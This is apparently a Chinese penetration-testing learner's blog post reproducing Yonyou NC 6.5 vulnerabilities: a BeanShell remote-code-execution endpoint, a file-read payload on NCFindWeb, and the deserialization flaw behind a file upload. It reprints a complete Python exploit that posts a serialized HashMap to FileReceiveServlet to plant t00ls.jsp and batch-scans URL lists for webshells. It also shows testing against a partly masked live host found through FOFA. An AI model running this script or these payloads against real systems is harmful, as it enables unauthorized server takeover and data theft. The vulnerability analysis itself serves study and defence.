巴扎嘿的入行笔记(渗透测试工程师)(四)

相关声明

本文内容仅为技术科普,请勿用于非法用途。概不负责,一切后果由用户自行承担。

我今天先自己写这一行

五一过完了,我却什么都没干,反思一下自己,这样不行啊巴扎嘿。

今天因为马上要测一个系统,他们用的是用友nc的,师傅叫我把nc之前的漏洞找一找并且复现一下,所以今天的帖子就是复现一下漏洞。

以下漏洞以nc6.5为主

NC是指用友软件公司开发的新一代财务软件,它是基于网页的一种网页版财务管理软件,它具有登陆方便,无需下载客户端等优点。

CNVD-2021-30167 BeanShell远程代码执行

Fofa上找了一个靶机:http://114.55.xx.184:8888/login.jsp(fofa自己搜吧,我就xx一下吧)

 

该漏洞是由于用友NC对外开放了BeanShell接口,攻击者可以在未授权的情况下直接访问该接口,并构造恶意数据执行任意代码并获取服务器权限。

servlet/~ic/bsh.servlet.BshServlet

b6c31d01d41c

 

这个目标禁止开放BeanShell访问接口,以前nc6.5是开放接口的

7142b8354ca8

 

就可以执行命令 exec就能执行系统命令

 

第二个是文件包含

Payload:/NCFindWeb?service=IPreAlertConfigService&filename=xxx

我这边直接不加xxx

05266877d72b

 

随便访问一个admin.jsp

1ed045465c34

 

成功

 

任意文件上传漏洞及反序列化

我们主要看一下这个poc

import requests

import threadpool

import urllib3

import sys

import argparse

 

urllib3.disable_warnings()

proxies = {‘http’: ‘http://localhost:8080’, ‘https’: ‘http://localhost:8080’}

header = {

    “User-Agent”: “Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36”,

    “Content-Type”: “application/x-www-form-urlencoded”,

    “Referer”: “https://google.com”,

}

 

def multithreading(funcname, filename=”url.txt”, pools=5):

    works = []

    with open(filename, “r”) as f:

        for i in f:

            func_params = [i.rstrip(“\n”)]

            works.append((func_params, None))

    pool = threadpool.ThreadPool(pools)

    reqs = threadpool.makeRequests(funcname, works)

    [pool.putRequest(req) for req in reqs]

    pool.wait()

 

def wirte_targets(vurl, filename):

    with open(filename, “a+”) as f:

        f.write(vurl + “\n”)

        return vurl

    

def exp(u):

    uploadHeader = {

        “User-Agent”: “Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36”,

        “Content-Type”: “multipart/form-data;”,

        “Referer”: “https://google.com”

    }

    uploadData = “\xac\xed\x00\x05\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x48\x61\x73\x68\x4d\x61\x70\x05\x07\xda\xc1\xc3\x16\x60\xd1\x03\x00\x02\x46\x00\x0a\x6c\x6f\x61\x64\x46\x61\x63\x74\x6f\x72\x49\x00\x09\x74\x68\x72\x65\x73\x68\x6f\x6c\x64\x78\x70\x3f\x40\x00\x00\x00\x00\x00\x0c\x77\x08\x00\x00\x00\x10\x00\x00\x00\x02\x74\x00\x09\x46\x49\x4c\x45\x5f\x4e\x41\x4d\x45\x74\x00\x09\x74\x30\x30\x6c\x73\x2e\x6a\x73\x70\x74\x00\x10\x54\x41\x52\x47\x45\x54\x5f\x46\x49\x4c\x45\x5f\x50\x41\x54\x48\x74\x00\x10\x2e\x2f\x77\x65\x62\x61\x70\x70\x73\x2f\x6e\x63\x5f\x77\x65\x62\x78”

    shellFlag=”t0test0ls”

    uploadData+=shellFlag

    try:

        req1 = requests.post(u + “/servlet/FileReceiveServlet”, headers=uploadHeader, verify=False, data=uploadData, timeout=25)

        if req1.status_code == 200 :

            req3=requests.get(u+”/t00ls.jsp”,headers=header, verify=False, timeout=25)

 

            if  req3.text.index(shellFlag)>=0:

                printFlag = “[Getshell]” + u+”/t00ls.jsp”  + “\n”

                print (printFlag)

                wirte_targets(printFlag, “vuln.txt”)

    except :

        pass

    #print(printFlag, end=””)

 

 

if __name__ == “__main__”:

    if (len(sys.argv)) < 2:

        print(‘useage : python’ +str(sys.argv[0]) + ‘ -h’)

    else:

        parser =argparse.ArgumentParser()

        parser.description =’YONYOU UC 6.5 FILE UPLOAD!’

        parser.add_argument(‘-u’,help=”url -> example [url]http://127.0.0.1[/url]”,type=str,dest=’check_url’)

        parser.add_argument(‘-r’,help=”url list to file”,type=str,dest=’check_file’)

        args =parser.parse_args()

        if args.check_url:

            exp(args.check_url)

        

        if(args.check_file):

            multithreading(exp, args.check_file, 8)

————————————————

Poc的来源是:

版权声明:本文为CSDN博主「Adminxe」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。

原文链接:https://blog.csdn.net/Adminxe/article/details/111177066

这个主要看看exp部分,就是拼接了个请求报文,要是req1访问没问题就证明上传了,req3就是判断一下我们上传的t0test01s(就是这个t00ls.jsp)内容合不合适,要是都没问题,就证明漏洞验证成功

 

那么现在问题来了,第一我从哪里上传了t00ls.jsp这个文件,第二那段长长的/xac/xed是个啥?

 

结合其他两篇文章https://www.freebuf.com/articles/web/280334.html

https://www.jianshu.com/p/ad30b2e47efe

这三个文章我都看了一下,说的对我来说都不是很好懂,可能是我技术水平较低,我感觉漏洞原理尤其是exp并不是那么简单,我觉得这个tools0的exp是有两个漏洞利用的,一个是反序列化,一个是上传

 

我把其中文章的这一段摘出来:

存在问题的代码,其实也很简单通过requtest对象获取数据,然后反序列化该数据为map类型的对象获取TARGET_FILE_PATH和FILE_NAME,然后将文件写入到TARGET_FILE_PATH!

95106a90f455

 

这里还有一个问题最后写文件的时候是直接通过输入流来read的这时候接收到的数据是还没进行反序列化的,那么在序列化文件中添加其他的数据是否会影响反序列化报错(这个是很必要的因为我们要把shell的内容通过流传过去就得将shell内容写入到序列化文件中),这里做个实验:定义一个类 person对该类进行序列化

560d4514bc25

 

序列化代码,这里创建字节流缓冲区按字节码文件写进去

1e1b1bee9ab8

 

生成的序列化文件的内容数据已经成功添加进去

0d48488352e0

 

 

反序列化试一下,没有问题成功获取到对象

914fbb519ff1

这个时候就可以构造exp了,我这里本地的环境有问题访问servlet直接下载了,本地搭建了一个web环境做个测试,传入到/tmp目录下

 

 

 

然后我们可以在这个作者的第一张图里找到这个代码,这个就是漏洞原理,没有限制这个newfile

 

4d7cf33471a3

 

 

 

依据以下代码

124d35f05e29

 

 

我自己按照exp用bp手动改了一下报文

72dab1b5272c

 

发送了一下,发现并没有上传成功

问了一下之前第一位老师,那段/XAC/XED/X00是js混淆,他给我了这篇文章https://www.baishujun.com/archives/788.html

文章提供了js/x16解密工具https://tool.lu/js,加上js标签<script></script>之后解密,结果如下

 

796f24079fbc

 

再参考一下freebuf那篇文章利用工具之后截取的报文如下图

2d09fce4f82e

 

我们再根据前文分析,真相只有一个,那么这个exp就是利用反序列化漏洞进行的文件上传,前文有简书的作者尝试一个简单序列化的demo图片可以发现和这串js/x16解密出来的东西一模一样,所以就是利用反序列化达到上传t00ls.jsp的目的

但现在有个新问题,就是在线网址解密出来的这串序列化的hashmap没办法复制到bp上,所以我就得按照之前文章的作者手动序列化一下。

 

这就是我对这个漏洞的大概理解,我这边配置好js环境我自己再试试,之后再更新一下,之后有机会水一篇ca证书认证,tls协议,以及wireshark关于tls抓包的我的理解吧

 

请登录后发表评论

    • 热门评论
      风之凯的头像-FancyPig's blog披萨会员风之凯LV7超级版主2